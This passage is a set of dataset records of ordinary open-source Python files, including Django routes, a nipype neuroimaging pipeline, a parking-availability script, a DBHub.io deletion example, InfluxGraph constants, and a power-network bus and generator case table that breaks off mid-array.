+{"text": "\nfrom django.conf.urls import url\nfrom django.contrib import admin\n\n\nfrom .views import activate_user_view, home, register, login_view, logout_view\n\nurlpatterns = [\n url(r'^$', home),\n url(r'^register/$', register),\n url(r'^login/$', login_view),\n url(r'^logout/$', logout_view),\n url(r'^activate/(?P[a-z0-9].*)/$', activate_user_view),\n]\n", "source": "taqdirali/Mining-Minds", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python\nimport sys\nimport os\n# sys.path.append(\"/home/balint/Dokumentumok/phd/github/\") #PUMI should be added to the path by install or by the developer\n# az importalasnal az ~_preproc utan a .fajlnev-et kell megadni\nimport nipype\nimport nipype.pipeline as pe\nimport nipype.interfaces.io as nio\nimport nipype.interfaces.fsl as fsl\nimport PUMI.func_preproc.FieldMapper as fm\n\n\ndatagrab = pe.Node(nio.DataGrabber(outfields=['func',\n 'phase',\n 'magnitude',\n 'TE1',\n 'TE2',\n 'dwelltime'\n ]),\n name='data_grabber')\n\ndatagrab.inputs.base_directory = os.getcwd() # do we need this?\ndatagrab.inputs.template = \"*/*\" # do we need this?\ndatagrab.inputs.field_template = dict(func=sys.argv[1],\n phase=sys.argv[2],\n magnitude=sys.argv[3])\ndatagrab.inputs.sort_filelist = True\n\n\nreorient_func = pe.MapNode(fsl.utils.Reorient2Std(),\n iterfield=['in_file'],\n name=\"reorient_func\")\n\nmyfm=fm.fieldmapper(TE1=4.9,\n TE2=7.3,\n dwell_time=0.00035,\n unwarp_direction=\"y-\")\n\ntotalWorkflow = nipype.Workflow('fm_probe')\ntotalWorkflow.base_dir = '.'\n\ntotalWorkflow.connect([\n (datagrab,reorient_func,\n [('func','in_file')]),\n (reorient_func, myfm,\n [('out_file', 'inputspec.in_file')]),\n (datagrab,myfm,\n [('phase','inputspec.phase')]),\n (datagrab,myfm,\n [('magnitude','inputspec.magnitude')]),\n ])\n\ntotalWorkflow.write_graph('graph-orig.dot', graph2use='orig', simple_form=True)\ntotalWorkflow.write_graph('graph-exec-detailed.dot', graph2use='exec', simple_form=False)\ntotalWorkflow.write_graph('graph.dot', graph2use='colored')\ntotalWorkflow.run()\n", "source": "spisakt/PUMI", "license": "BSD-3-Clause"}
+{"text": "first_name = \"ada\"\nlast_name = \"lovelace\"\nfull_name = f\"{first_name} {last_name}\"\n#print(full_name)\n\n#print(f\"Hello, {full_name.title()}!\")\n\nmessage = f\"Hello, {full_name.title()}!\"\nprint(message)\n\n#print(\"\\tPython\")\n#print(\"Languages:\\nPython\\nC\\nJavaScript\")\nprint(\"Languages:\\n\\tPython\\n\\tC\\n\\tJavaScript\")", "source": "AndrewWallace1999/csws-week1", "license": "Apache-2.0"}
+{"text": "from functions.api_parking import get_parking, search_parking, parking_locate\r\n\r\nparkings = get_parking()\r\n\r\nfor parking in parkings['records']:\r\n nom = parking['fields']['name']\r\n places_disponibles = parking['fields']['dispo']\r\n print(f'{nom} | {places_disponibles} places disponibles')\r\n\r\nprint('\\n')\r\n\r\nprint(parking_locate())\r\n\r\nprint('\\n')\r\n\r\nparking_to_get = input('Parking \u00e0 rechercher : ')\r\nprint(search_parking(parking_to_get))", "source": "BenoitObelia/Parking-Orleans-Metropole", "license": "MIT"}
+{"text": "import sys\nimport os\nfrom platform import python_version\n\n# https://github.com/willmcgugan/rich\nfrom rich.console import Console\nfrom rich.theme import Theme\n\nimport pydbhub.dbhub as dbhub\n\nif __name__ == '__main__':\n custom_theme = Theme({\n \"info\": \"green\",\n \"warning\": \"yellow\",\n \"error\": \"bold red\"\n })\n console = Console(theme=custom_theme)\n\n if python_version()[0:3] < '3.7':\n console.print(\n \"[ERROR] Make sure you have Python 3.7+ installed, quitting.\\n\\n\", style=\"error\")\n sys.exit(1)\n\n # Create a new DBHub.io API object\n db = dbhub.Dbhub(config_file=f\"{os.path.join(os.path.dirname(__file__), '..', 'config.ini')}\")\n\n # Delete a remote database\n dbName = \"Join Testing.sqlite\"\n err = db.Delete(dbName)\n if err is not None:\n console.print(f\"[ERROR] {err}\", style=\"error\")\n else:\n # Display a success message\n console.print(f\"Database '{dbName}' deleted\", style=\"info\")\n", "source": "sum3105/pydbhub", "license": "MIT"}
+{"text": "# Copyright (C) [2015-2017] [Thomson Reuters LLC]\n# Copyright (C) [2015-2017] [Panos Kittenis]\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Constants and default settings for InfluxGraph\"\"\"\n\n# https://influxdb.com/docs/v0.9/query_language/functions.html\n# NB - Transformation functions like derivative are invalid without\n# an aggregation when used in a 'group by' query - we leave those to\n# graphite-api to perform\nINFLUXDB_AGGREGATIONS = [\n # aggregations\n 'count', 'distinct', 'integral', 'mean', 'median', 'mode', 'spread',\n 'stddev', 'sum',\n # selectors\n 'bottom', 'first', 'last', 'max', 'min', 'percentile', 'sample', 'top'\n]\n\nDEFAULT_AGGREGATIONS = {r'\\.min$': 'min',\n r'\\.max$': 'max',\n r'\\.last$': 'last',\n r'\\.sum$': 'sum',\n }\n\n# Tell influxdb to return time as seconds from epoch\n_INFLUXDB_CLIENT_PARAMS = {'epoch': 's'}\nSERIES_LOADER_MUTEX_KEY = 'influxgraph_series_loader'\nMEMCACHE_SERIES_DEFAULT_TTL = 1800\nLOADER_LIMIT = 100000\n# Fill params like 'null' that leave gaps are not valid for use with Graphite\n# API and are purposefully not included here\nFILL_PARAMS = ['previous', 'linear', 'null']\n\n# Memcache key for field keys list\n_MEMCACHE_FIELDS_KEY = 'infl_fields_key'\nFILE_LOCK = '/tmp/influxgraph_index.lock'\nENCODING = 'utf-8'\n", "source": "InfluxGraph/influxgraph", "license": "Apache-2.0"}
+{"text": "from django.apps import AppConfig\n\n\nclass EcuacionesalgebraicasConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'ecuacionesAlgebraicas'\n", "source": "MendozaEmerson/AriMath", "license": "Apache-2.0"}
+{"text": "from numpy import array, ceil\nfrom models import LoadSampler\n\ndef case75(flex_level = 'MEDIUM'):\n\n case = {\"version\": \"ANM\"}\n\n ## system MVA base\n case[\"baseMVA\"] = 1.0\n\n ## Bus data\n case[\"bus\"] = array([\n [1000, 3, 0.0, 0.0, 0, 0, 1, 1, 0, 33, 1, 1.1, 0.9],\n [1100, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1101, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1102, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1103, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1104, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1105, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1106, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1107, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1108, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1109, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1110, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1111, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1112, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1113, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1114, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1115, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1116, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1117, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1118, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1119, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1120, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1121, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1122, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1123, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1124, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1125, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1126, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1127, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1128, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1129, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1130, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1131, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1132, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1133, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1134, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1135, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1136, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1137, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1138, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1139, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1140, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1141, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1142, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1143, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1144, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1145, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1146, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1147, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1148, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1149, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1150, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1151, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1152, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1153, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1154, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1155, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1156, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1157, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1158, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1159, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1160, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1161, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1162, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1163, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1164, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1165, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1166, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1167, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1168, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1169, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1170, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1171, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1172, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1173, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1174, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1175, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95]\n ])\n\n\n ## Gen data\n case[\"gen\"] = array([\n [1000, 0.0, 0.0, 100.0, -100.0, 1.02, 100.0, 1, 100.0, -100.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1101, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1103, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1104, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1106, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1107, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1109, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1110, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1111, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1113, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1114, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1115, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1117, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1120, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1122, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1123, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1124, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1125, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1126, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1128, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1131, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1133, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1134, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1135, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1136, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1137, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1139, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1142, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1144, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1146, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1147, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1148, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1149, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1150, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1151, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1153, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1154, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1156, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1157, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1158, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1160, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1161, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1163, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1164, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1165, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1167, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1168, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1169, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1170, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1171, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1172, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1173, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1174, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1175, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1101.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1103.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.32, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1104.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1106.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.32, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1107.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1109.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.32, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1110.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1111.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1113.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.07, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1114.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.31, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1115.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1117.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1120.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1122.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1123.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1124.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1125.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1126.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1128.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1131.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n 